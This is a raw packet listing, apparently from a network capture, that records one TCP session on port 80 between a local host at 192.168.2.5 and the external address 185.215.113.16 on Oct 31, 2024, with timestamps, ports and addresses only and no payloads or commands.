Oct 31, 2024 02:08:21.180484056 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.180500984 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.180504084 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.180526018 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.180682898 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.180701971 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.180715084 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.180720091 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.180727005 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.180737972 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.180748940 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.180761099 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.180762053 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.180772066 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.180783987 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.180788994 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.180799007 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.180811882 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.180823088 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.180828094 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.180828094 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.180835962 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.180845976 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.180847883 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.180861950 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.180871010 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.180912018 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.181086063 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.181097031 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.181108952 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.181119919 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.181130886 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.181134939 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.181142092 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.181149960 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.181153059 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.181166887 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.181179047 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.181185007 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.181197882 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.181210041 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.181216955 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.181221962 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.181232929 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.181241989 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.181243896 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.181260109 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.181265116 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.181272030 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.181286097 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.181318045 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.181482077 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.181493044 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.181504011 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.181521893 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.181533098 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.181535006 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.181544065 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.181555986 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.181565046 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.181566954 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.181580067 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.181588888 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.181600094 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.181612015 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.181617022 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.181622028 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.181632042 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.181633949 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.181644917 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.181655884 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.181663036 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.181668043 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.181680918 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.181691885 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.181695938 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.181704044 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.181715012 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.181716919 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.181727886 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.181730986 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.181756020 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.181941032 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.181952000 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.181963921 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.181981087 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.182001114 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.182085991 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.182097912 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.182109118 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.182120085 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.182130098 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.182136059 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.182142019 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.182146072 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.182163954 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.182168961 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.182174921 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.182185888 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.182190895 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.182198048 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.182203054 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.182209015 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.182219982 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.182229042 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.182231903 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.182243109 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.182254076 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.182255030 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.182265043 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.182272911 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.182276964 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.182288885 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.182291031 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.182312965 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.182518959 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.182532072 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.182543039 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.182554960 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.182555914 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.182571888 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.182571888 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.182583094 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.182595015 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.182605028 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.182605982 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.182616949 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.182627916 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.182640076 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.182641029 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.182651043 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.182662964 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.182666063 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.182677031 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.182684898 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.182691097 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.182702065 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.182712078 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.182714939 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.182727098 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.182729959 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.182738066 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.182751894 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.182764053 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.182766914 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.182774067 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.182811022 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.183109999 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.183120966 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.183132887 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.183145046 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.183151007 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.183160067 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.183161974 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.183173895 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.183173895 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.183183908 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.183196068 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.183207035 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.183218002 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.183218002 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.183218956 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.183233976 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.183247089 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.183254957 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.183258057 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.183269978 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.183275938 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.183279991 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.183291912 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.183295965 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.183304071 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.183320999 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.183331966 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.183342934 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.183342934 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.183342934 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.183355093 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.183363914 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.183398008 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.183404922 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.183418036 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.183450937 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.183463097 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.183475018 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.183486938 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.183522940 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.183602095 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.183614016 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.183625937 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.183636904 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.183640957 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.183650017 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.183660984 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.183662891 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.183701992 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.183769941 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.183782101 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.183793068 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.183808088 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.183809996 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.183824062 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.183831930 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.183834076 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.183845997 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.183856964 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.183856964 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.183867931 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.183880091 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.183891058 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.183903933 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.183903933 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.183914900 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.183933973 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.183943033 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.183968067 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.184168100 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.184180021 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.184190035 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.184201002 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.184211969 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.184217930 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.184221983 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.184233904 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.184232950 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.184243917 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.184250116 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.184259892 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.184262991 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.184273958 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.184284925 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.184295893 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.184297085 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.184308052 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.184309006 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.184309006 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.184319973 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.184336901 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.184369087 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.184381008 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.184395075 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.184406996 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.184411049 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.184472084 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.184484005 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.184500933 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.184500933 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.184536934 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.184549093 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.184555054 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.184566975 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.184577942 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.184580088 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.184588909 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.184607029 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.184623003 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.184623003 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.184636116 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.184643984 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.184655905 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.184689045 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.185834885 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.185847044 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.185858011 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.185869932 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.185883045 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.185894012 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.185906887 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.234854937 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.239814997 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.239829063 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.239846945 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.239857912 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.239869118 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.239881039 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.239882946 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.239893913 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.239929914 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.239964008 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.239980936 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.239991903 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.240004063 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.240020990 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.240025043 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.240031958 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.240037918 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.240047932 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.240061045 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.240071058 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.240072966 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.240107059 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.240128040 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.240139008 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.240164995 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.240263939 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.240293980 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.240305901 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.240318060 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.240324974 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.240328074 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.240339041 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.240350008 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.240355968 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.240360975 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.240371943 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.240379095 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.240391970 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.240394115 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.240403891 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.240417004 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.240437984 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.240463972 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.240475893 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.240485907 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.240498066 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.240499973 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.240524054 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.240700960 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.240711927 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.240721941 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.240734100 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.240746021 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.240751028 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.240756989 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.240767956 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.240772009 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.240778923 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.240791082 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.240794897 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.240804911 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.240811110 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.240809917 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.240816116 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.240825891 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.240835905 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.240848064 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.240849972 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.240868092 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.240871906 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.240880013 CET	80	49712	185.215.113.16	192.168.2.5
